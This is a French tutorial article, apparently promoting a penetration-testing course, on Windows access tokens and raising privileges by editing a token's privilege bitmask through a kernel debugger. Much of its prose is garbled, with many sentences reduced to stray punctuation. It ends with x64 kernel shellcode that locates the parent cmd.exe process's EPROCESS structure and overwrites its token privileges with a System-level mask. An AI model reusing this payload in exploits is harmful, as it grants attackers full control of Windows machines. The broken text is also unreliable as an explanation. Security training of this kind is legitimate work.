Jetons Windows

L'expert OTUS Alexander Kolesnikov a partagé avec nous un article utile, qu'il a écrit spécialement pour les étudiants du cours "Pentest. Practice of Penetration Testing" .









Nous invitons à notre tour tout le monde à participer à une leçon de démonstration gratuite sur le thème: "Collecte d'informations Windows AD, élévation des privilèges. Exploits et vulnérabilités des 5 dernières années."









L'article précédent expliquait comment les exploits utilisent la technique de copie de jetons pour augmenter les privilèges. Dans cet article, nous allons essayer d'envisager une autre technique pour modifier les jetons, et également essayer de découvrir comment les privilèges placés dans le jeton principal sont définis.





Tous les exemples de l'article sont fournis à titre informatif uniquement, et si vous souhaitez répéter les expériences, utilisez une machine virtuelle, car certaines actions peuvent endommager votre machine en fonctionnement. Toutes les expériences sont effectuées à des fins de recherche uniquement.





Configuration du banc d'essai

Pour les expériences, quelques machines virtuelles fonctionnant sur un réseau NAT conviennent. Deux parce qu'il n'y a pas d'autre moyen de déboguer le noyau du système d'exploitation. Et le réseau NAT, pour qu'il y ait des symboles de débogage, il est plus facile et plus rapide de rechercher des données sans code source avec eux. Le paramètre du débogueur est disponible sur Internet, mais il y aura toujours quelques lignes en dessous, comme c'est le cas pour le système d'exploitation Windows 10 1909.





1. Installez le débogueur. Pour le système d'exploitation Windows, il n'y a que Windbg Preview, installez-le:





2. Nous transférons le système d'exploitation cible en mode débogage:





Nous redémarrons le système. Et ouvrez la deuxième machine, qui contiendra le débogueur:





Après le redémarrage du système:





Windbg Preview , . . .





Token

, , , Primary Token. , Se* . , , :





  • SeAssignPrimaryToken





  • SeAudit





  • SeBackup





  • SeChangeNotify





  • SeCreateToken





  • SeDebug





  • SeLoadDriver





  • SeLockMemory





  • SeManageVolume





  • SeRestore





  • SeSecurity





  • SeTakeOwnership





, , . , “Security Descriptor”:





System. — dx @$cursession.Processes[4].KernelObject.Token







EXFAST_REF , , :





System:





, “Security Descriptor” , . :





, , :





- , BSOD. Windows , Windows 10 1607. , BSOD, “Security Descriptor” . , :





BSOD? , . , :





1. , :





2. cmd.exe



:





3. . :





, . - , - Integrity Levels , .





? . , : 0x1







BSOD , , . , , . , - — 0x100000







:





  • SeDebugPrivilege - 0x100000





  • SeAuditPrivilege - 0x200000





  • SeSystemEnvironmentPrivilege - 0x400000





  • SeCreatePermanentPrivilege - 0x010000





  • SeSystemtimePrivilege - 0x001000





  • SeSecurityPrivilege - 0x000100





  • SeLockMemoryPrivilege - 0x000010





, 6 . , , shellcode, , , . SEPTOKEN_PRIVILEGES _SEPTOKENPRIVILEGES+0x8.





— System , , .





netstat -ab



, . ? . , Windows , System , :





, , payload :





[BITS 64]

start:
mov r9, [gs:0x188]                ;KPROCESS/currentThread
mov r9, [r9+0x220]                ;EPROCESS   KTHREAD
mov r8, [r9+0x3e8]                ;InheritedFromUniqueProcessId (cmd.exe PID)
mov rax, r9                           
loop1:
  mov rax, [rax + 0x2f0]       
  sub rax, 0x2f0                    ;KPROCESS
  cmp [rax + 0x2e8],r8              ; ProcessId
  jne loop1                         	  
mov rcx, rax                        ;   PID EPROCESS
add rcx, 0x360                        
mov rax, [rcx]                           
and rax, 0xFFFFFFFFFFFFFFF0
mov r8,  0x1e73deff20               ;System  
mov [rax+0x48],r8                   ; 
ret
      
      




". ".



"Windows AD , . 5 ."













All Articles